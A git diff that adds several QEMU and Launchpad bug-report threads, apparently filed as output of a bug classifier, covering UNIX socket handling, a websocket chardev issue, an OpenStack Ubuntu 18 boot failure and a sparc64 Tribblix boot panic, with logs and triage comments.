"New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/socket/1020484 b/results/classifier/deepseek-1/output/socket/1020484 new file mode 100644 index 00000000..4e00c77e --- /dev/null +++ b/results/classifier/deepseek-1/output/socket/1020484 @@ -0,0 +1,23 @@ + +RFE: Support spice via unix domain socket + +According to the man page, spice can be only used via TCP/IP in opposite to VNC, which can also be configured to listen on a unix domain socket. To make it easy to use spice without exposing the interface, please support unix domain sockets as well. I can try to provide a patch, if you can point me to the source code where TCP/IP socket is opened. + +There is already support for that in spice-server afaik, though I don't remember the api or what commit, or if it's in a released version (well, it's surely in 0.11.0, but that's unstable). Sorry about the lack of details, I suggest you search spice-devel mailing list archive though. I think libvirt can already use it, but perhaps you want a commandline option, that may be missing. + +Alon + +you could pass sockets via QMP a while ago, but listening to unix socket has been added there: + +commit fe4831b1e7e7007ae15ae0470a06898660ab3877 +Author: Marc-André Lureau <email address hidden> +Date: Tue Jan 13 17:57:51 2015 +0100 + + spice: add unix address support + + Teach qemu to set up a Spice server with a UNIX socket using the + following arguments -spice unix,addr=path. + + Signed-off-by: Gerd Hoffmann <email address hidden> + + diff --git a/results/classifier/deepseek-1/output/socket/1327608 b/results/classifier/deepseek-1/output/socket/1327608 new file mode 100644 index 00000000..a1ed0497 --- /dev/null +++ b/results/classifier/deepseek-1/output/socket/1327608 @@ -0,0 +1,61 @@ + +monitor socked path is cut a 105 characters + +Starting a VM like so: + +/usr/bin/qemu-system-x86_64 -machine accel=kvm -monitor unix:/srv/localfs/Samsung_SSD_840_PRO_Series_S1AXNSAF320206J/vg-virt/lv-gentoosummerschool/gentoo-summerschool/gentoo-summerschool.img.monitor,server,nowait -name gentoo-summerschool -chardev socket,id=monitor,path=/srv/localfs/Samsung_SSD_840_PRO_Series_S1AXNSAF320206J/vg-virt/lv-gentoosummerschool/gentoo-summerschool/monitor.sock,server,nowait -monitor chardev:monitor -chardev socket,id=serial0,path=/srv/localfs/Samsung_SSD_840_PRO_Series_S1AXNSAF320206J/vg-virt/lv-gentoosummerschool/gentoo-summerschool/console.sock,server,nowait -serial chardev:serial0 -enable-kvm -cpu kvm64 -smp 2 -netdev tap,id=net0,script=/srv/localfs/Samsung_SSD_840_PRO_Series_S1AXNSAF320206J/vg-virt/lv-gentoosummerschool/gentoo-summerschool/qemu-ifup.bash -device e1000,netdev=net0,mac=00:00:00:00:00:02 -drive id=disk,file=/srv/localfs/Samsung_SSD_840_PRO_Series_S1AXNSAF320206J/vg-virt/lv-gentoosummerschool/gentoo-summerschool/gentoo-summerschool.img,if=none -device ahci,id=ahci -device ide-drive,drive=disk,bus=ahci.0 -m 2048 -vga qxl -spice port=2002,addr=192.168.4.2,password=NO-thats-not-my-pwd -device virtio-serial-pci -device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 -chardev spicevmc,id=spicechannel0,name=vdagent + + +The path: + +unix:/srv/localfs/Samsung_SSD_840_PRO_Series_S1AXNSAF320206J/vg-virt/lv-gentoosummerschool/gentoo-summerschool/gentoo-summerschool.img.monitor + +...is cut like so when I try to shutdown: + +pink ~ # echo system_powerdown | socat - UNIX-CONNECT:/srv/localfs/Samsung_SSD_840_PRO_Series_S1AXNSAF320206J/vg-virt/lv-gentoosummerschool/gentoo-summerschool/gentoo-summerschool.img.monitor +2014/06/08 06:39:01 socat[2344] E connect(3, AF=1 "/srv/localfs/Samsung_SSD_840_PRO_Series_S1AXNSAF320206J/vg-virt/lv-gentoosummerschool/gentoo-summerschoo", 110): No such file or directory +pink ~ # + + +It does work with a sorter path like: +pink ~ # echo system_powerdown | socat - UNIX-CONNECT:'/srv/localfs/Samsung_SSD_840_PRO_Series_S1AXNSAF320206J/vg-virt/my.img.monitor' +QEMU 1.5.3 monitor - type 'help' for more information +(qemu) system_powerdown +(qemu) pink ~ # + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +On 10/03/2017 05:47 AM, Thomas Huth wrote: +> Triaging old bug tickets... can you still reproduce this issue with the +> latest version of QEMU? Or could we close this ticket nowadays? + +This may be fixed by: + +commit ad9579aaa16d5b385922d49edac2c96c79bcfb62 +Author: Daniel P. Berrange <email address hidden> +Date: Thu May 25 16:53:00 2017 +0100 + + sockets: improve error reporting if UNIX socket path is too long + + The 'struct sockaddr_un' only allows 108 bytes for the socket + path. + + If the user supplies a path, QEMU uses snprintf() to silently + truncate it when too long. This is undesirable because the user + will then be unable to connect to the path they asked for. + +-- +Eric Blake, Principal Software Engineer +Red Hat, Inc. +1-919-301-3266 +Virtualization: qemu.org | libvirt.org + + + +There's actually two bugs here. + +First QEMU was truncating the UNIX, but because it used 'snprintf', QEMU truncated it at 107 characters and then added a trailing NUL, instead of truncating at 108 characters and not having a NUL (which is perfectly fine for AF_UNIX) + +Second though if you look at the path socat is using, it has truncated it at 104 characters. So even if QEMU had correctly truncated at 108 characters, socat would still have failed. + +QEMU git now just returns an immediate if the path is too long rather than truncating, so I think we can just close this. + diff --git a/results/classifier/deepseek-1/output/socket/1754605 b/results/classifier/deepseek-1/output/socket/1754605 new file mode 100644 index 00000000..0f97cf42 --- /dev/null +++ b/results/classifier/deepseek-1/output/socket/1754605 @@ -0,0 +1,23 @@ + +ppc64 migration bad_dest test is failed with failed to connect to socket + +On ppc64le machine the following test failed. + +# QTEST_QEMU_BINARY=ppc64-softmmu/qemu-system-ppc64 tests/migration-test V=1 +/ppc64/migration/deprecated: OK +/ppc64/migration/bad_dest: qemu-system-ppc64: Failed to connect socket: Connection refused +OK +/ppc64/migration/postcopy/unix: OK + +Head is at f6d81cdec807bb85325afedb536b17c5331483c7 +configured with options: configure --target-list=ppc64-softmmu + +This test case is added through 2c9bb29703caa8fd31078cc38b3b53762557c27c + +This is fixed by 'tests: Silence migration-test 'bad' test' which I posted a few days ago; hopefully I'll send a pull with it today + +Thank you very much for your quick reply. + +David's patch fixing this went in as commit f96d6651e4b7cb8a8e91, which will have been in the 3.0 release. + + diff --git a/results/classifier/deepseek-1/output/socket/1828608 b/results/classifier/deepseek-1/output/socket/1828608 new file mode 100644 index 00000000..f33963b7 --- /dev/null +++ b/results/classifier/deepseek-1/output/socket/1828608 @@ -0,0 +1,44 @@ + +Chardev websocket might not support pasting more than a few chars + +When sending more than 4-5 characters on the websocket serial console (with pasting for example), the guest might not receive all of them, or worse interpret the input as Magic SysRq keys. + +This might be due to the io loop not checking the backend readiness before calling the read function. + +Attached patched fixes the problem on my system. I'm not sure it's the proper approach, this is just to start discussion. + + + +If the problem only happens with a websockets channel enabled, it possibly a bug in the QIOChannelWebsock impl rather than the chardev + +I wrote a websocket client to help reproduce the bug without a browser: +https://github.com/anisse/websocktty + +You can install it to your $GOPATH/bin (defaults to ~/go/bin) with "go get github.com/anisse/websocktty" + +I can reproduce the bug with it by simply pasting a long-enough (5 to 20 characters) string. + +I could not reproduce the bug with qemu's "-serial tcp" and netcat, so this problem might indeed be limited to the websock channel implementation. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + +The bug is still present. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/133 + + diff --git a/results/classifier/deepseek-1/output/socket/1867601 b/results/classifier/deepseek-1/output/socket/1867601 new file mode 100644 index 00000000..f84592bc --- /dev/null +++ b/results/classifier/deepseek-1/output/socket/1867601 @@ -0,0 +1,22 @@ + +test-char not concurrent with unix socket + +'make check-unit' might fail when running multiple tests in parallel. + +Apparently occurred on OSX CI: +https://travis-ci.org/github/philmd/qemu/jobs/662357430 + +Guess is same unix path used: + +static SocketAddress unixaddr = { + .type = SOCKET_ADDRESS_TYPE_UNIX, + .u.q_unix.path = (char *)"test-char.sock", +}; + +Note, other tests in this file use g_dir_make_tmp(). + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/solution./1851552 b/results/classifier/deepseek-1/output/solution./1851552 new file mode 100644 index 00000000..5dc3582b --- /dev/null +++ b/results/classifier/deepseek-1/output/solution./1851552 @@ -0,0 +1,320 @@ + +since ubuntu 18 bionic release and latest, the ubuntu18 cloud image is unable to boot up on openstack instance + +Openstack Queens release which is running on ubuntu 18 LTS Controller and Compute. +Tried to boot up the instance via horizon dashboard without success. +Nova flow works perfect. +When access to console I discovered that the boot process stuck in the middle. +[[0;1;31m TIME [0m] Timed out waiting for device dev-vdb.device. +[[0;1;33mDEPEND[0m] Dependency failed for /mnt. +[[0;1;33mDEPEND[0m] Dependency failed for File System Check on /dev/vdb. +It receives IP but looks like not get configured at time. +since ubuntu 18 there is netplan feature managing the network interfaces +please advise. + +more details as follow: +https://bugs.launchpad.net/networking-calico/+bug/1851548 + +Hello, + +Could you please elaborate a bit more on how you came to the conclusion that the problem is caused specifically by cloud-init? Without some more context information it's difficult for us to tell if this is actually a bug and to begin working on it. + +If you think this is actually a problem with cloud-init, could you please run `cloud-init collect-logs` and attach the generated tarball to this bug report? The collected logs will help us understand what's going on. + +I'm marking this report as Incomplete for the moment, please change its status back to New after providing additional information. Thanks! + +The instance creation was working until calico configured on controller and compute. Ubuntu 16 and Centos releases are booting up successfully. As known ubuntu began to work with netplan since 18 and all latest releases. Not sure the issue with cloud init or the order or timing of booting process which relates to getting IP in time and properly. + + +the problem is in: + +[[0;32m OK [0m] Started Wait for Network to be Configured. + + +I used the following official latest ubuntu bionic image: +http://cloud-images.ubuntu.com/bionic/current/bionic-server-cloudimg-amd64.img + +And the regular openstack command: +https://docs.openstack.org/mitaka/install-guide-ubuntu/launch-instance-provider.html + +openstack server create --flavor ubuntu-flavor --image ubuntu-bionic-latest \ + --nic net-id=c9d82a5d-e075-4d66-8ecd-1092fa218ad7 --security-group allow_all \ + --key-name cloud-keypair.private ubuntu-bionic-instance + +more details as follow: +https://bugs.launchpad.net/networking-calico/+bug/1851548 + +see full log https://etherpad.openstack.org/p/ubuntu-xenial-log for successful creation of instance with latest ubuntu-xenial cloud image http://cloud-images.ubuntu.com/bionic/current/bionic-server-cloudimg-amd64.img + +see full log https://etherpad.openstack.org/p/ubuntu-bionic-log for successful creation of instance with latest ubuntu-bionic cloud image http://cloud-images.ubuntu.com/xenial/current/xenial-server-cloudimg-amd64-disk1.img + +correction: + +see full log https://etherpad.openstack.org/p/ubuntu-xenial-log for successful creation of instance with latest ubuntu-xenial cloud image http://cloud-images.ubuntu.com/xenial/current/xenial-server-cloudimg-amd64-disk1.img + +see full log https://etherpad.openstack.org/p/ubuntu-bionic-log for NOT SUCCESSFUL creation of instance with latest ubuntu-bionic cloud image http://cloud-images.ubuntu.com/bionic/current/bionic-server-cloudimg-amd64.img + +Hi. +Please attach the output of 'cloud-init collect-logs'. Ideally from the 18.04 instance, but the 16.04 instance would be fine if you're not able to get it from 18.04. + +Then, set the status of this bug back to New. + +thanks. + + +see attached collected cloud init logs from ubuntu xenial.. + + +Hi Vasili, unfortunately there isn't enough info in the 16.04 logs to help us work out what's going on with 18.04. Do you have any way of accessing an 18.04 instance (serial console, perhaps?) that would allow you to gather more data? + +Moving this back to Incomplete for now, apologies for the round trips! + +> [[0;1;33mDEPEND[0m] Dependency failed for File System Check on /dev/vdb. + +Looking at the bionic log you posted, it never gets a /dev/vdb device. Can you confirm that the VM configuration on the compute node correctly was configured with an ephemeral block device? + + +Here we can see not all of the block devices expected are present... + +[[0;32m OK [0m] Started udev Coldplug all Devices. +[[0m[0;31m* [0m] (1 of 3) A start job is running for���label-UEFI.device (19s / 1min 30s)[K[[0;1;31m*[0m[0;31m* + + +Also, looking at the 16.04 boot, it looks like this is nested virtualization, I can see in the journal that the xenial kernel is hitting this one: + +Nov 24 16:18:43.138019 ubuntu kernel: ------------[ cut here ]------------ +Nov 24 16:18:43.138390 ubuntu kernel: WARNING: CPU: 0 PID: 0 at /build/linux-mU1Buo/linux-4.4.0/arch/x86/kernel/fpu/xstate.c:517 fpu__init_system_xstate+0x37e/0x764() +Nov 24 16:18:43.138624 ubuntu kernel: XSAVE consistency problem, dumping leaves +Nov 24 16:18:43.147521 ubuntu kernel: Modules linked in: +Nov 24 16:18:43.147832 ubuntu kernel: +Nov 24 16:18:43.148048 ubuntu kernel: CPU: 0 PID: 0 Comm: swapper Not tainted 4.4.0-169-generic #198-Ubuntu +Nov 24 16:18:43.148268 ubuntu kernel: 0000000000000086 a2c4204db3cb6ecb ffffffff81e03d80 ffffffff8140c8e1 +Nov 24 16:18:43.148582 ubuntu kernel: ffffffff81e03dc8 ffffffff81cb3c68 ffffffff81e03db8 ffffffff81086492 +Nov 24 16:18:43.148788 ubuntu kernel: 0000000000000008 0000000000000440 0000000000000040 ffffffff81e03e4c +Nov 24 16:18:43.149274 ubuntu kernel: Call Trace: +Nov 24 16:18:43.149480 ubuntu kernel: [<ffffffff8140c8e1>] dump_stack+0x63/0x82 +Nov 24 16:18:43.149687 ubuntu kernel: [<ffffffff81086492>] warn_slowpath_common+0x82/0xc0 +Nov 24 16:18:43.149892 ubuntu kernel: [<ffffffff8108652c>] warn_slowpath_fmt+0x5c/0x80 +Nov 24 16:18:43.150100 ubuntu kernel: [<ffffffff81081f86>] ? xfeature_size+0x59/0x77 +Nov 24 16:18:43.150343 ubuntu kernel: [<ffffffff81f783f1>] fpu__init_system_xstate+0x37e/0x764 +Nov 24 16:18:43.150549 ubuntu kernel: [<ffffffff81f68120>] ? early_idt_handler_array+0x120/0x120 +Nov 24 16:18:43.150756 ubuntu kernel: [<ffffffff81f77dfa>] fpu__init_system+0x1e7/0x28e +Nov 24 16:18:43.159459 ubuntu kernel: [<ffffffff81f790a6>] early_cpu_init+0x2b6/0x2bb +Nov 24 16:18:43.159715 ubuntu kernel: [<ffffffff81f790a6>] ? early_cpu_init+0x2b6/0x2bb +Nov 24 16:18:43.160030 ubuntu kernel: [<ffffffff81f7439d>] setup_arch+0xc0/0xd1f +Nov 24 16:18:43.160240 ubuntu kernel: [<ffffffff81f68120>] ? early_idt_handler_array+0x120/0x120 +Nov 24 16:18:43.160528 ubuntu kernel: [<ffffffff81f68c16>] start_kernel+0xe2/0x4a4 +Nov 24 16:18:43.160737 ubuntu kernel: [<ffffffff81f68120>] ? early_idt_handler_array+0x120/0x120 +Nov 24 16:18:43.160926 ubuntu kernel: [<ffffffff81f682da>] x86_64_start_reservations+0x2a/0x2c +Nov 24 16:18:43.161133 ubuntu kernel: [<ffffffff81f68426>] x86_64_start_kernel+0x14a/0x16d +Nov 24 16:18:43.161624 ubuntu kernel: ---[ end trace 4d5ff9f2f68c4233 ]--- + + +https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1829555 + + + + +Hi, +Thanks for shared investigation details. +According to the setup I use, could you assist to understand where and what I'm missing here that can lead to the issues you mentioned? + +### Working setup details ### + +[1] The Openstack service installed on Controller and Compute with Ubuntu 18.04.2 +With Minimal deployment for Queens: + +Keystone +Glance +Nova +Neutron +Horizon + +Reference: +https://docs.openstack.org/install-guide/openstack-services.html#minimal-deployment-for-queens + +All the configurations done according to the guide (reference I mentioned). + +[2] The add-ons features included to Openstack are: + +Calico driver plugin for Neutron +Calico Bird for BGP Peering +Calico Felix for Security +Calico DHCP Agent instead Neutron DHCP + +Reference: +https://docs.projectcalico.org/v3.10/getting-started/openstack/ + + + +Thanks, +Vasili + +Status changed to 'Confirmed' because the bug affects multiple users. + +Status changed to 'Confirmed' because the bug affects multiple users. + +For your Openstack deployment, are you running on baremetal? +Are you deploying something like devstack or triple-o which enable nested virtualization? + +https://docs.openstack.org/devstack/latest/guides/devstack-with-nested-kvm.html +https://docs.openstack.org/tripleo-quickstart/latest/unprivileged.html +https://tripleo-docs.readthedocs.io/en/latest/environments/virtual.html + +nope, no devstack nor tripleo.. everything straight forward as I mentioned previously.. installed all those services manually on controller and compute and connected to l3 switch with bgp of the bird.. + +mariadb, rabbitmq, memcached, etcd, keystone, glance, neutron, nova, calico-driver, calico-felix, calico-dhcp, nova-api-metadata, bird + +any clue on the issue? + +Thanks, +Vasili + +Unfortunately no; the kernel messages are very much related to nested virtualization, but I don't know where in your software stack it gets configured/enabled. + +I'm marking the cloud-init task invalid as at this time the logs point to a nested virtualization/openstack issue with devices not being present; not related to cloud-init. If further investigation points to an issue with cloud-init you can move the cloud-init task back to New. + +There is no nested virtualization, all the openstack on bare metal with regular installation with regular services, the only thing is running is calico which is eliminate neutron ml2, metadata and dhcp and its running with calico plugin, calico-dhcp and calico felix. As well as on each compute nova-api-metadata is available. + +How the devices can be presented, could you advise with further steps of investigation? + + +Best, +Vasili + + +Sent from iPhone + +> On 9 Jan 2020, at 2:31, Ryan Harper <email address hidden> wrote: +> +> I'm marking the cloud-init task invalid as at this time the logs point +> to a nested virtualization/openstack issue with devices not being +> present; not related to cloud-init. If further investigation points to +> an issue with cloud-init you can move the cloud-init task back to New. +> +> ** Changed in: cloud-init (Ubuntu) +> Status: Incomplete => Invalid +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1851552 +> +> Title: +> since ubuntu 18 bionic release and latest, the ubuntu18 cloud image is +> unable to boot up on openstack instance +> +> Status in cloud-init: +> New +> Status in networking-calico: +> New +> Status in OpenStack Compute (nova): +> New +> Status in OpenStack Community Project: +> New +> Status in qemu-kvm: +> New +> Status in cloud-init package in Ubuntu: +> Invalid +> Status in qemu package in Ubuntu: +> New +> +> Bug description: +> Openstack Queens release which is running on ubuntu 18 LTS Controller and Compute. +> Tried to boot up the instance via horizon dashboard without success. +> Nova flow works perfect. +> When access to console I discovered that the boot process stuck in the middle. +> [[0;1;31m TIME [0m] Timed out waiting for device dev-vdb.device. +> [[0;1;33mDEPEND[0m] Dependency failed for /mnt. +> [[0;1;33mDEPEND[0m] Dependency failed for File System Check on /dev/vdb. +> It receives IP but looks like not get configured at time. +> since ubuntu 18 there is netplan feature managing the network interfaces +> please advise. +> +> more details as follow: +> https://bugs.launchpad.net/networking-calico/+bug/1851548 +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/cloud-init/+bug/1851552/+subscriptions + + +Hi Vasili, + +From a cloud-init perspective, there isn't anything we can do so I'm going to move the upstream task to Invalid too. I'm afraid I don't really have any advice on how to proceed, as this appears to be a hypervisor or cloud issue. + + +Dan + +In Rocky release I’m not experiencing kind of issues. And make sure you use kvm and not qemu, cause qemu is limited on its performance and kvm just born to work with latest hardware :) + +Best, +Vasili + +Sent from iPhone + +> On 14 Jan 2020, at 20:35, Dan Watkins <email address hidden> wrote: +> +> Hi Vasili, +> +>> From a cloud-init perspective, there isn't anything we can do so I'm +> going to move the upstream task to Invalid too. I'm afraid I don't +> really have any advice on how to proceed, as this appears to be a +> hypervisor or cloud issue. +> +> +> Dan +> +> ** Changed in: cloud-init +> Status: New => Invalid +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1851552 +> +> Title: +> since ubuntu 18 bionic release and latest, the ubuntu18 cloud image is +> unable to boot up on openstack instance +> +> Status in cloud-init: +> Invalid +> Status in networking-calico: +> New +> Status in OpenStack Compute (nova): +> New +> Status in OpenStack Community Project: +> New +> Status in qemu-kvm: +> New +> Status in cloud-init package in Ubuntu: +> Invalid +> Status in qemu package in Ubuntu: +> New +> +> Bug description: +> Openstack Queens release which is running on ubuntu 18 LTS Controller and Compute. +> Tried to boot up the instance via horizon dashboard without success. +> Nova flow works perfect. +> When access to console I discovered that the boot process stuck in the middle. +> [[0;1;31m TIME [0m] Timed out waiting for device dev-vdb.device. +> [[0;1;33mDEPEND[0m] Dependency failed for /mnt. +> [[0;1;33mDEPEND[0m] Dependency failed for File System Check on /dev/vdb. +> It receives IP but looks like not get configured at time. +> since ubuntu 18 there is netplan feature managing the network interfaces +> please advise. +> +> more details as follow: +> https://bugs.launchpad.net/networking-calico/+bug/1851548 +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/cloud-init/+bug/1851552/+subscriptions + + +I honestly don't see any evidence of some broken behaviour in Nova if, particularly, other instances with other guest image using cloud-init can boot correctly. + +Please provide us some logs or better trace of a potential Nova problem in order for us to classify the potential root cause and a possible solution, but in the meantime I'll have to close this bug from the Nova point of view. You can reopen this bug by changing its status to New. + +I don't believe this is to do with networking-calico, so will mark as Invalid for networking-calico. + +Tracked in Github Issues as https://github.com/canonical/cloud-init/issues/3491 + diff --git a/results/classifier/deepseek-1/output/solutions./1670175 b/results/classifier/deepseek-1/output/solutions./1670175 new file mode 100644 index 00000000..98bef083 --- /dev/null +++ b/results/classifier/deepseek-1/output/solutions./1670175 @@ -0,0 +1,292 @@ + +qemu-system-sparc64 with tribblix-sparc-0m16.iso ends with "panic - kernel: no nucleus hblk8 to allocate" + +> qemu-system-sparc64 -m 1024 -cdrom Downloads/tribblix-sparc-0m16.iso -boot d -nographic +OpenBIOS for Sparc64 +Configuration device id QEMU version 1 machine id 0 +kernel cmdline +CPUs: 1 x SUNW,UltraSPARC-IIi +UUID: 00000000-0000-0000-0000-000000000000 +Welcome to OpenBIOS v1.1 built on Nov 24 2016 21:23 + Type 'help' for detailed information +Trying cdrom:f... +Not a bootable ELF image +Not a bootable a.out image + +Loading FCode image... +Loaded 7120 bytes +entry point is 0x4000 +Evaluating FCode... +Evaluating FCode... +Ignoring failed claim for va 10a96a0 memsz 19! +Ignoring failed claim for va 1000000 memsz d1fb6! +Ignoring failed claim for va 1402000 memsz 32518! +Ignoring failed claim for va 1800000 memsz 52ac8! +SunOS Release 5.11 Version tribblix-m16 64-bit +Copyright (c) 1983, 2010, Oracle and/or its affiliates. All rights reserved. +could not find debugger-vocabulary-hook>threads:interpret: exception -13 caught +interpret \ ident "%Z%%M% %I% %E% SMI" +\ Copyright 2005 Sun Microsystems, Inc. All rights reserved. +\ Use is subject to license terms. +\ +\ CDDL HEADER START +\ +\ The contents of this file are subject to the terms of the +\ Common Development and Distribution License, Version 1.0 only +\ (the "License"). You may not use this file except in compliance +\ with the License. +\ +\ You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE +\ or http://www.opensolaris.org/os/licensing. +\ See the License for +WARNING: add_spec: No major number for sf +panic - kernel: no nucleus hblk8 to allocate +EXIT + +QEMU keeps running (CPU is on 100 % all the time), I can interact with the prompt: + +0 > boot +Not a Linux kernel image +Not a bootable ELF image +Not a bootable a.out image + +Loading FCode image... +Unhandled Exception 0x0000000000000018 +PC = 0x00000000ffd25310 NPC = 0x00000000ffd25314 +Stopping execution + +> qemu-system-sparc64 -version +QEMU emulator version 2.8.0(Virtualization:Staging / SLE_12_SP2) + +from https://build.opensuse.org/package/show/Virtualization:Staging/qemu on openSUSE Leap 42.2. + +ISO: http://pkgs.tribblix.org/iso/tribblix-sparc-0m16.iso. + +This is how it ends with 2048 MB of memory instead of 1024: + +> qemu-system-sparc64 -m 2048 -cdrom Downloads/tmp/tribblix-sparc-0m16.iso -boot d -nographic +OpenBIOS for Sparc64 +Configuration device id QEMU version 1 machine id 0 +kernel cmdline +CPUs: 1 x SUNW,UltraSPARC-IIi +UUID: 00000000-0000-0000-0000-000000000000 +Welcome to OpenBIOS v1.1 built on Nov 24 2016 21:23 + Type 'help' for detailed information +Trying cdrom:f... +Not a bootable ELF image +Not a bootable a.out image + +Loading FCode image... +Loaded 7120 bytes +entry point is 0x4000 +Evaluating FCode... +Evaluating FCode... +Ignoring failed claim for va 10a96a0 memsz 19! +Ignoring failed claim for va 1000000 memsz d1fb6! +Ignoring failed claim for va 1402000 memsz 32518! +Ignoring failed claim for va 1800000 memsz 52ac8! +SunOS Release 5.11 Version tribblix-m16 64-bit +Copyright (c) 1983, 2010, Oracle and/or its affiliates. All rights reserved. +could not find debugger-vocabulary-hook>threads:interpret: exception -13 caught +interpret \ ident "%Z%%M% %I% %E% SMI" +\ Copyright 2005 Sun Microsystems, Inc. All rights reserved. +\ Use is subject to license terms. +\ +\ CDDL HEADER START +\ +\ The contents of this file are subject to the terms of the +\ Common Development and Distribution License, Version 1.0 only +\ (the "License"). You may not use this file except in compliance +\ with the License. +\ +\ You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE +\ or http://www.opensolaris.org/os/licensing. +\ See the License for WARNING: add_spec: No major number for sf +unix-tte:interpret: exception -13 caught +interpret ' unix-tte is va>tte-data failed with error ffffffffffffffed +WARNING: consconfig: cannot find driver for screen device /pci@1fe,0/QEMU,VGA@2 +Hostname: tribblix +Remounting root read/write +Probing for device nodes ... +WARNING: pcipsy0: unable to map reg entry 1 + +Preparing image for use +Requesting System Maintenance Mode +(See /lib/svc/share/README for more information.) +Console login service(s) cannot run + + +QEMU 2.8.90 gets a bit further with Tribblix: + +$ qemu-system-sparc64 -m 2048 -cdrom ~/Downloads/tmp/tribblix-sparc-0m16.iso -boot d -M sun4u -nographic +OpenBIOS for Sparc64 +Configuration device id QEMU version 1 machine id 0 +kernel cmdline +CPUs: 1 x SUNW,UltraSPARC-IIi +UUID: 00000000-0000-0000-0000-000000000000 +Welcome to OpenBIOS v1.1 built on Feb 28 2017 21:38 + Type 'help' for detailed information +Trying cdrom:f... +Not a bootable ELF image +Not a bootable a.out image + +Loading FCode image... +Loaded 7120 bytes +entry point is 0x4000 +Evaluating FCode... +Evaluating FCode... +Ignoring failed claim for va 10a96a0 memsz 19! +Ignoring failed claim for va 1000000 memsz d1fb6! +Ignoring failed claim for va 1402000 memsz 32518! +Ignoring failed claim for va 1800000 memsz 52ac8! +SunOS Release 5.11 Version tribblix-m16 64-bit +Copyright (c) 1983, 2010, Oracle and/or its affiliates. All rights reserved. +could not find debugger-vocabulary-hook>threads:interpret: exception -13 caught +interpret \ ident "%Z%%M% %I% %E% SMI" +\ Copyright 2005 Sun Microsystems, Inc. All rights reserved. +\ Use is subject to license terms. +\ +\ CDDL HEADER START +\ +\ The contents of this file are subject to the terms of the +\ Common Development and Distribution License, Version 1.0 only +\ (the "License"). You may not use this file except in compliance +\ with the License. +\ +\ You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE +\ or http://www.opensolaris.org/os/licensing. +\ See the License for WARNING: add_spec: No major number for sf +unix-tte:interpret: exception -13 caught +interpret ' unix-tte is va>tte-data failed with error ffffffffffffffed +WARNING: consconfig: cannot find driver for screen device /pci@1fe,0/QEMU,VGA@2 +Hostname: tribblix +Remounting root read/write +Probing for device nodes ... +WARNING: pcipsy0: unable to map reg entry 1 + +Preparing image for use +Requesting System Maintenance Mode +(See /lib/svc/share/README for more information.) +Console login service(s) cannot run + +Enter user name for system maintenance (control-d to bypass): + + +*** +Prompt is unusable, CPU at 100 %. + +Looks like tribblix is an OpenSolaris variant from the above output (I normally tend to test with Milax but it's good to have another reference around). + +I spent a lot of time during the 2.8 cycle fixing up the context switch code in OpenBIOS which gets OpenSolaris most of the way. AFAICT the 2 main missing items are: + + +1) Wiring up the ebus interrupts + +I have patches for this, but they cause Linux to panic on startup, presumably because of 2) below. + +2) Fix up the /pci nodes, adding 2 PCI bridges to the DT + +This will take some thought since OpenBIOS needs to be modified to handle multiple PCI buses and has know bugs with PCI bridges. + + +The CPU for sun4u machines will always be at 100% because the USIIi processor doesn't have a HLT or equivalent instruction that can be used by the guest to enable QEMU to pause the vCPU whilst idle. + +Note that I work on this as time allows, so progress isn't particularly rapid. Offers of sponsorship to enable me to spend more time on this would be gratefully received :) + +Hi Mark, thank you for your effort on SPARC64 emulation in QEMU! + +Thanks for the explanation on what might be wrong. Is there a way to workaround the PCI problems? + +Tribblix is indeed an illumos (a community fork of OpenSolaris) distribution. Contrary to Milax, which looks abandoned to me as OpenSolaris is, Tribblix and DilOS reflect recent illumos development and until OpenIndiana SPARC edition materialize, probably should be a reference solarish (sic) platforms. + +As I hope to use qemu-system-sparc64 for automated validation of illumos distributions, currently I am unable to provide anything but testing/QA :). + +Let me know should there be anything to test. + +With QEMU 2.11 there are two new warnings I haven't seen before (execution was still the same): + +... +unix-tte:interpret: exception -13 caught +interpret ' unix-tte is va>tte-data failed with error ffffffffffffffed +WARNING: consconfig: cannot find driver for screen device /pci@1fe,0/pci@1,1/QEMU,VGA@2 +Hostname: tribblix +Remounting root read/write +Probing for device nodes ... +WARNING: ata_controller[0] - Unsupported Controller + Vendor 0x9510, Device 0x4606, Revision 0x7 +WARNING: ebus0 assigning default interrupt level 1 for device i80420 +... + +Then it hangs the same way it did with older QEMUs. + +qemu sparc64 also failed to boot Oracle Linux + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting all older bugs to +"Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + + +This is still valid, setting to Confirmed. With the latest qemu as of today, it fails in a slightly different way, but still does not accept any keyboard input: + +\ +\ You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE +\ or http://www.opensolaris.org/os/licensing. +\ See the License for WARNING: add_spec: No major number for sf +unix-tte:interpret: exception -13 caught 